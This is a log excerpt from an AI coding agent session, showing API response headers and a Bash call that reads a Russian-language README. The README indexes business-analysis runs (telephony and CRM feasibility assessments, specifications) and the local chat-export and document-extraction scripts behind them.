\"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:43.261Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:43.270Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:43.274Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:43.280Z] [STDOUT]   \"request-id\": \"req_011CfXMhZhghFd6mZsDgTMeU\",\n[2026-09-29T07:44:43.284Z] [STDOUT]   \"traceresponse\": \"00-b02238873c0046b7dd5215c6a008bdda-2fe0f780a16351be-01\",\n[2026-09-29T07:44:43.292Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:43.298Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:43.306Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:43.311Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:43.322Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:43.325Z] [STDOUT]   \"cf-ray\": \"a4295d333f3b4d8b-FRA\",\n[2026-09-29T07:44:43.329Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:43.335Z] [STDOUT] [log_d29aae] response parsed {\n[2026-09-29T07:44:43.342Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:43.346Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:43.354Z] [STDOUT]   body: X {\n[2026-09-29T07:44:43.357Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:43.361Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:43.363Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:43.365Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:43.367Z] [STDOUT]     },\n[2026-09-29T07:44:43.373Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:43.379Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:43.386Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:43.395Z] [STDOUT]   },\n[2026-09-29T07:44:43.401Z] [STDOUT]   durationMs: 713,\n[2026-09-29T07:44:43.407Z] [STDOUT] }\n[2026-09-29T07:44:43.413Z] [INFO] {\n[2026-09-29T07:44:43.413Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:43.413Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:43.413Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:44:43.413Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:43.413Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:43.413Z] [INFO]   \"uuid\": \"c747031a-a7ee-4fc5-bef4-fb7898c70b6c\"\n[2026-09-29T07:44:43.413Z] [INFO] }\n[2026-09-29T07:44:43.417Z] [INFO] {\n[2026-09-29T07:44:43.417Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:43.417Z] [INFO]   \"message\": {\n[2026-09-29T07:44:43.417Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:43.417Z] [INFO]     \"id\": \"msg_011CfXMhYJ7R9amkTYEAeUd8\",\n[2026-09-29T07:44:43.417Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:43.417Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:43.417Z] [INFO]     \"content\": [\n[2026-09-29T07:44:43.417Z] [INFO]       {\n[2026-09-29T07:44:43.417Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:43.417Z] [INFO]         \"id\": \"toolu_01BSPEcjATBvMcPmMNCYPrw1\",\n[2026-09-29T07:44:43.417Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:43.417Z] [INFO]         \"input\": {\n[2026-09-29T07:44:43.417Z] [INFO]           \"command\": \"cat /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bd81ljdck.txt | sed -n 120,400p | cut -c1-400\",\n[2026-09-29T07:44:43.417Z] [INFO]           \"description\": \"Read runs README remainder\"\n[2026-09-29T07:44:43.417Z] [INFO]         },\n[2026-09-29T07:44:43.417Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:43.417Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:43.417Z] [INFO]         }\n[2026-09-29T07:44:43.417Z] [INFO]       }\n[2026-09-29T07:44:43.417Z] [INFO]     ],\n[2026-09-29T07:44:43.417Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:43.417Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:43.417Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:43.417Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:43.417Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:43.417Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:43.417Z] [INFO]       \"cache_creation_input_tokens\": 7697,\n[2026-09-29T07:44:43.417Z] [INFO]       \"cache_read_input_tokens\": 24703,\n[2026-09-29T07:44:43.417Z] [INFO]       \"cache_creation\": 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[`outputs/prompt-usage.md`](2026/RUN-0038/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0038/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0038/feedback/review-notes.md) |\\n| [`RUN-0039`](2026/RUN-0039/metadata.yaml) | 2026-08-22 | `statistics` | task-854-mtalker-conference-participants-fr | [`outputs/README.md`](2026/RUN-0039/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0039/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0039/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0039/feedback/review-notes.md) |\\n| [`RUN-0040`](2026/RUN-0040/metadata.yaml) | 2026-08-22 | `statistics` | task-872-proactive-chat-retrigger | [`outputs/README.md`](2026/RUN-0040/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0040/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0040/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0040/feedback/review-notes.md) |\\n| [`RUN-0041`](2026/RUN-0041/metadata.yaml) | 2026-08-22 | `statistics` | task-890-bitrix24-call-routing | [`outputs/README.md`](2026/RUN-0041/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0041/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0041/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0041/feedback/review-notes.md) |\\n| [`RUN-0042`](2026/RUN-0042/metadata.yaml) | 2026-08-22 | `statistics` | task-892-knowledge-base-page-restore | [`outputs/README.md`](2026/RUN-0042/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0042/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0042/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0042/feedback/review-notes.md) |\\n| [`RUN-0043`](2026/RUN-0043/metadata.yaml) | 2026-08-22 | `statistics` | task-908-open-url-on-call-answer | [`outputs/README.md`](2026/RUN-0043/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0043/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0043/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0043/feedback/review-notes.md) |\\n| [`RUN-0044`](2026/RUN-0044/metadata.yaml) | 2026-08-22 | `statistics` | task-908-open-url-on-call-answer-validation | [`outputs/README.md`](2026/RUN-0044/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0044/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0044/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0044/feedback/review-notes.md) |\\n| [`RUN-0045`](2026/RUN-0045/metadata.yaml) | 2026-08-22 | `statistics` | task-915-call-connection-sound-signal | [`outputs/README.md`](2026/RUN-0045/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0045/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0045/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0045/feedback/review-notes.md) |\\n| [`RUN-0046`](2026/RUN-0046/metadata.yaml) | 2026-08-22 | `statistics` | task-918-mandatory-call-topics | [`outputs/README.md`](2026/RUN-0046/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0046/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0046/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0046/feedback/review-notes.md) |\\n| [`RUN-0047`](2026/RUN-0047/metadata.yaml) | 2026-08-22 | `statistics` | task-920-meeting-transcript-analysis | [`outputs/README.md`](2026/RUN-0047/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0047/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0047/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0047/feedback/review-notes.md) |\\n| [`RUN-0048`](2026/RUN-0048/metadata.yaml) | 2026-08-22 | `statistics` | task-930-amocrm-comment-and-tag-fields | [`outputs/README.md`](2026/RUN-0048/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0048/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0048/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0048/feedback/review-notes.md) |\\n| [`RUN-0049`](2026/RUN-0049/metadata.yaml) | 2026-08-22 | `statistics` | task-935-speech-analytics-api-parameters | [`outputs/README.md`](2026/RUN-0049/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0049/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0049/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0049/feedback/review-notes.md) |\\n| [`RUN-0050`](2026/RUN-0050/metadata.yaml) | 2026-08-22 | `statistics` | task-942-email-format-painter | [`outputs/README.md`](2026/RUN-0050/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0050/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0050/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0050/feedback/review-notes.md) |\\n| [`RUN-0051`](2026/RUN-0051/metadata.yaml) | 2026-08-22 | `statistics` | task-960-call-records-multiselect-filter | [`outputs/README.md`](2026/RUN-0051/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0051/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0051/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0051/feedback/review-notes.md) |\\n| [`RUN-0052`](2026/RUN-0052/metadata.yaml) | 2026-08-22 | `statistics` | task-964-ai-robot-on-line | [`outputs/README.md`](2026/RUN-0052/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0052/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0052/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0052/feedback/review-notes.md) |\\n| [`RUN-0053`](2026/RUN-0053/metadata.yaml) | 2026-08-22 | `statistics` | task-977-bitrix24-call-attribution | [`outputs/README.md`](2026/RUN-0053/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0053/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0053/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0053/feedback/review-notes.md) |\\n| [`RUN-0054`](2026/RUN-0054/metadata.yaml) | 2026-08-22 | `statistics` | task-980-number-replacement-questions | [`outputs/README.md`](2026/RUN-0054/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0054/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0054/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0054/feedback/review-notes.md) |\\n| [`RUN-0055`](2026/RUN-0055/metadata.yaml) | 2026-08-23 | `execution` | tz-feasibility-assessment-utair-chat-mango-office | [`outputs/README.md`](2026/RUN-0055/outputs/README.md), [`outputs/feasibility-assessment.md`](2026/RUN-0055/outputs/feasibility-assessment.md), [`outputs/tender-feasibility-brief.md`](2026/RUN-0055/outputs/tender-feasibility-brief.md), [`logs/verification-log.md`](2026/RUN-0\\n| [`RUN-0056`](2026/RUN-0056/metadata.yaml) | 2026-08-25 | `execution` | gap-analysis-hh-chats-mango-cc-integration-feasibility | [`outputs/README.md`](2026/RUN-0056/outputs/README.md), [`outputs/L1-executive-summary.md`](2026/RUN-0056/outputs/L1-executive-summary.md), [`outputs/L2-gap-matrix.md`](2026/RUN-0056/outputs/L2-gap-matrix.md), [`outputs/L3-technical-spike-notes.md`](2026/RUN-0056/output\\n| [`RUN-0057`](2026/RUN-0057/metadata.yaml) | 2026-08-25 | `execution` | feasibility-assessment-tender-tz-stt-tts-nlu-dialogue-manager | [`outputs/README.md`](2026/RUN-0057/outputs/README.md), [`outputs/L0-customer-form-with-assessment.md`](2026/RUN-0057/outputs/L0-customer-form-with-assessment.md), [`outputs/L1-executive-summary.md`](2026/RUN-0057/outputs/L1-executive-summary.md), [`outputs/L2-fe\\n| [`RUN-0058`](2026/RUN-0058/metadata.yaml) | 2026-08-26 | `execution` | re-evaluation-hh-chat-api-feasibility | [`outputs/README.md`](2026/RUN-0058/outputs/README.md), [`outputs/L1-executive-summary.md`](2026/RUN-0058/outputs/L1-executive-summary.md), [`outputs/L2-gap-matrix.md`](2026/RUN-0058/outputs/L2-gap-matrix.md), [`outputs/L3-integration-architecture-notes.md`](2026/RUN-0058/outputs/L3-int\\n| [`RUN-0059`](2026/RUN-0059/metadata.yaml) | 2026-08-26 | `execution` | architecture-spike-hh-chats-mango-cc-data-mapping | [`outputs/README.md`](2026/RUN-0059/outputs/README.md), [`outputs/architecture-spike.md`](2026/RUN-0059/outputs/architecture-spike.md), [`logs/source-availability.md`](2026/RUN-0059/logs/source-availability.md), [`logs/role-change-ba-to-sa.md`](2026/RUN-0059/logs/role-change\\n| [`RUN-0060`](2026/RUN-0060/metadata.yaml) | 2026-08-27 | `execution` | combined-l4-gap-report-hh-chats-mango-cc | [`outputs/README.md`](2026/RUN-0060/outputs/README.md), [`outputs/L4-combined-gap-report.md`](2026/RUN-0060/outputs/L4-combined-gap-report.md), [`outputs/hh-api-source-index.md`](2026/RUN-0060/outputs/hh-api-source-index.md), [`logs/source-availability.md`](2026/RUN-0060/logs/source-\\n| [`RUN-0061`](2026/RUN-0061/metadata.yaml) | 2026-08-28 | `statistics` | task-1090-human-review-of-twin-links | [`outputs/README.md`](2026/RUN-0061/outputs/README.md), [`outputs/link-review-statistics.md`](2026/RUN-0061/outputs/link-review-statistics.md), [`outputs/link-reference-contract-draft.md`](2026/RUN-0061/outputs/link-reference-contract-draft.md), [`outputs/prompt-usage.md`](2026/RUN-0061\\n| [`RUN-0062`](2026/RUN-0062/metadata.yaml) | 2026-09-01 | `execution` | feasibility-assessment-tender-appendices-5-7 (full-KB corrective reassessment) | [`outputs/README.md`](2026/RUN-0062/outputs/README.md), [`outputs/L0-customer-form-with-assessment.md`](2026/RUN-0062/outputs/L0-customer-form-with-assessment.md), [`logs/experiment-log.md`](2026/RUN-0062/logs/experiment-log.md), [`feedback/revie\\n| [`RUN-0063`](2026/RUN-0063/metadata.yaml) | 2026-08-31 | `execution` | feature-specification-bcreq-1074-communication-expenses-report (\u043d\u0435\u0432\u0430\u043b\u0438\u0434\u0435\u043d, \u0437\u0430\u043c\u0435\u043d\u0435\u043d RUN-0067) | [`outputs/README.md`](2026/RUN-0063/outputs/README.md), [`outputs/functional-requirements-bcreq-1074.md`](2026/RUN-0063/outputs/functional-requirements-bcreq-1074.md), [`logs/source-and-gate-log.md`](2026/RUN-0063/lo\\n| [`RUN-0064`](2026/RUN-0064/metadata.yaml) | 2026-08-31 | `execution` | error-analysis-and-feature-specification-bcreq-1074-report-view | [`outputs/README.md`](2026/RUN-0064/outputs/README.md), [`outputs/functional-requirements.md`](2026/RUN-0064/outputs/functional-requirements.md), [`reports/error-analysis.md`](2026/RUN-0064/reports/error-analysis.md), [`logs/traceability-and-gates.md`](2026/RUN\\n| [`RUN-0065`](2026/RUN-0065/metadata.yaml) | 2026-09-01 | `execution` | feasibility-assessment-telephony-requirements-task-1099 (six-column corrective rewrite) | [`outputs/README.md`](2026/RUN-0065/outputs/README.md), [`outputs/L0-customer-form-with-assessment.md`](2026/RUN-0065/outputs/L0-customer-form-with-assessment.md), [`logs/technical-audit.md`](2026/RUN-0065/logs/technical-audit.md), [`fee\\n| [`RUN-0066`](2026/RUN-0066/metadata.yaml) | 2026-09-01 | `execution` | feasibility-assessment-telephony-requirements-task-1099 (rerun by claude-opus-5, A/B vs RUN-0065) | [`outputs/README.md`](2026/RUN-0066/outputs/README.md), [`outputs/L0-feasibility-assessment-1099-2.md`](2026/RUN-0066/outputs/L0-feasibility-assessment-1099-2.md), [`logs/technical-audit.md`](2026/RUN-0066/logs/technical-audit.\\n| [`RUN-0067`](2026/RUN-0067/metadata.yaml) | 2026-09-03 | `execution` | feature-specification-bcreq-1074-detailed-export (rework of RUN-0063 by audit) | [`outputs/README.md`](2026/RUN-0067/outputs/README.md), [`outputs/functional-requirements-bcreq-1074.md`](2026/RUN-0067/outputs/functional-requirements-bcreq-1074.md), [`logs/audit-traceability-and-gates.md`](2026/RUN-0067/logs/audit-traceability\\n| [`RUN-0068`](2026/RUN-0068/metadata.yaml) | 2026-09-28 | `execution` | feasibility-assessment-tender-bcreq-1114-pstn-mobile-access | [`outputs/README.md`](2026/RUN-0068/outputs/README.md), [`outputs/L0-feasibility-assessment-1114.md`](2026/RUN-0068/outputs/L0-feasibility-assessment-1114.md), [`logs/experiment-log.md`](2026/RUN-0068/logs/experiment-log.md), [`feedback/review-notes.md`](2026/RUN-0\\n| [`RUN-0069`](2026/RUN-0069/metadata.yaml) | 2026-09-28 | `execution` | feasibility-assessment-tz-bcreq-1114v2-speech-analytics-ai | [`outputs/README.md`](2026/RUN-0069/outputs/README.md), [`outputs/L0-feasibility-assessment-1114-2.md`](2026/RUN-0069/outputs/L0-feasibility-assessment-1114-2.md), [`logs/experiment-log.md`](2026/RUN-0069/logs/experiment-log.md), [`feedback/review-notes.md`](2026/RU\\n\\n## \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438\\n\\n\u0427\u0430\u0441\u0442\u044c \u0432\u0445\u043e\u0434\u043e\u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0447\u0430\u0442\u0430 \u0432 JSON) \u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0433\u043b\u0430\u0437\u0430\u043c\u0438\\n\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 markdown \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c. \u0422\u0430\u043a\u0438\u0435 \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440\u044b \u2014 **\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430**:\\n\\n| \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 | \u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| [`scripts/chat_export_to_markdown.py`](../scripts/chat_export_to_markdown.py) | \u0420\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0447\u0430\u0442\u0430 (JSON) \u0432 \u043b\u0438\u043d\u0435\u0439\u043d\u044b\u0439 \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u043c\u0435\u0442\u0440\u0438\u043a \u043f\u043e \u0440\u0435\u043f\u043b\u0438\u043a\u0430\u043c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0015`](2026/RUN-0015/inputs/README.md), [`RUN-0016`](2026/RUN-0016/inputs/README.md), [`RUN-0017`](2026/RUN-0017/inputs/README.md),\\n| [`scripts/chat_export_to_transcript.py`](../scripts/chat_export_to_transcript.py) | \u0420\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0447\u0430\u0442\u0430 (JSON) \u0432 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u043c\u0435\u0442\u0440\u0438\u043a \u043f\u043e \u0432\u044b\u0437\u043e\u0432\u0430\u043c \u043c\u043e\u0434\u0435\u043b\u0438 (\u043f\u043e\u043b\u044f `usage`). \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0019`](2026/RUN-0019/inputs/README.md). |\\n| [`experiments/chat_export_probe.py`](../experiments/chat_export_probe.py) | \u0420\u0430\u0437\u0432\u0435\u0434\u043e\u0447\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442: \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430 \u0447\u0430\u0442\u0430 \u043f\u0435\u0440\u0435\u0434 \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u0435\u0439. |\\n| [`experiments/parse_qwen_chat_export.py`](../experiments/parse_qwen_chat_export.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043a\u0435\u043d\u044b (`tiktoken:cl1\u2026e`), \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u043e \u044d\u043f\u0438\u0437\u043e\u0434\u0430\u043c \u0438\u0437 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 \u0447\u0430\u0442\u0430 Qwen. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0018`](2026/RUN-0018/logs/metrics.md), [`RUN-0021`](2026/RUN-0021/logs/metrics.md) \u0438 [`RUN-0029`](2026/RUN-0029/logs/metr\\n| [`experiments/chat_export_usage_metrics.py`](../experiments/chat_export_usage_metrics.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043a\u0435\u043d\u044b \u043f\u043e \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u043f\u043e\u043b\u044f\u043c `usage` \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 (\u0431\u0435\u0437 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u043e\u043a\u0435\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u043c), \u043b\u0430\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u0438 \u0438 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u044d\u043f\u0438\u0437\u043e\u0434\u0430\u043c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0028`](2026/RUN-0028/logs/metrics.md). |\\n| [`experiments/issue_309_run_stats.py`](../experiments/issue_309_run_stats.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0443 \u0447\u0430\u0442\u0430: \u043e\u0431\u044a\u0451\u043c \u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0442\u043e\u043a\u0435\u043d\u044b \u0438\u0437 \u043f\u043e\u043b\u0435\u0439 `usage`, \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0411\u0410. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-003\\n| [`experiments/issue_309_fixate_runs.py`](../experiments/issue_309_fixate_runs.py) | \u041f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `runs/2026/RUN-0030`\u2014`RUN-0054` \u0438\u0437 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0438 \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430 [`experiments/issue_309_manifest.json`](../experiments/issue_309_manifest.json) (\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u00ab\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 issue \u2194 \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, SHA-256, \u0441\u0441\u044b\u043b\u043a\u0438). |\\n| [`experiments/issue_313_extract_pdf_text.py`](../experiments/issue_313_extract_pdf_text.py) | \u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0441\u043b\u043e\u0439 PDF \u043f\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u043e (`pdfplumber`) \u0434\u043b\u044f \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0437\u0430\u0434\u0430\u0447\u0438. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0055`](2026/RUN-0055/inputs/README.md). |\\n| [`experiments/issue_319_extract_xls_requirements.py`](../experiments/issue_319_extract_xls_requirements.py) | \u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0442\u0430\u0431\u043b\u0438\u0446 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 BIFF (`.xls`, \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 `xlrd`) \u0438 \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440\u044b \u0438 \u0445\u044d\u0448\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0057`](2026/RUN-0057/inputs/README.md).\\n| [`experiments/issue_319_build_source_mirror.py`](../experiments/issue_319_build_source_mirror.py) | \u0413\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0444\u043e\u0440\u043c\u044b \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0438\u0437 `.xls` \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043b\u043e\u043d\u043a\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430: \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u043e 